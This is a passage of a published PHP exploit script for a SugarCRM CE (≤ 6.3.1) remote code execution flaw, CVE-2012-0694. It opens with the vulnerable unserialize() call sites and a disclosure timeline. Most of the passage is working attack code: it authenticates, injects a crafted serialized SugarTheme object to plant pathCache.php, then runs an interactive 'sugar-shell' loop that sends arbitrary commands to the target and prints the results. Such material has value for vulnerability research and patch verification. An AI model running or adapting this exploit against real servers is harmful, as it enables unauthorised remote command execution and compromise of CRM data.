populateFromArray(unserialize(base64_decode($query))); include/generic/Save2.php:197: $current_query_by_page_array = unserialize(base64_decode($current_query_by_page)); include/MVC/Controller/SugarController.php:593: $_REQUEST = unserialize(base64_decode($temp_req['current_query_by_page'])); include/MVC/View/views/view.list.php:82: $current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page'])); modules/Import/Importer.php:536: $firstrow = unserialize(base64_decode($_REQUEST['firstrow'])); modules/ProjectTask/views/view.list.php:95: $current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page'])); The vulnerability is caused due to all these scripts using "unserialize()" with user controlled input. This can be exploited to e.g. execute arbitrary PHP code via the "__destruct()" method of the "SugarTheme" class, passing an ad-hoc serialized object through the $_REQUEST['current_query_by_page'] input variable. [-] Disclosure timeline: [31/10/2011] - Vulnerability discovered [05/11/2011] - Vendor notified to secure(at)sugarcrm.com [25/11/2011] - Vendor notified to http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/ [07/12/2011] - Vendor fix the issue on his own within 6.4.0 RC1 release [10/01/2012] - CVE number requested [12/01/2012] - Assigned CVE-2012-0694 [06/02/2012] - Issue addressed within 6.4.0 version [23/06/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+------------------------------------------------------------+"; print "\n| SugarCRM CE <= 6.3.1 Remote Code Execution Exploit by EgiX |"; print "\n+------------------------------------------------------------+\n"; if ($argc < 5) { print "\nUsage......: php $argv[0] \n"; print "\nExample....: php $argv[0] localhost / sarah sarah"; print "\nExample....: php $argv[0] localhost /sugarcrm/ jim jim\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $payload = "module=Users&action=Authenticate&user_name={$argv[3]}&user_password={$argv[4]}"; $packet = "POST {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: PHPSESSID=1\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; $login = http_send($host, $packet); if (preg_match("/action=Login/", $login)) die("\n[-] Login failed!\n"); if (!preg_match("/Set-Cookie: (.*) path/", $login, $sid)) die("\n[-] Session ID not found!\n"); class SugarTheme { protected $dirName = '../..'; private $_jsCache = ''; } $payload = "module=Contacts&Contacts2_CONTACT_offset=1¤t_query_by_page=".base64_encode(serialize(new SugarTheme)); $packet = "POST {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$sid[1]}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; http_send($host, $packet); $packet = "GET {$path}pathCache.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nsugar-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/s:72:"(.*)";s:8/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); }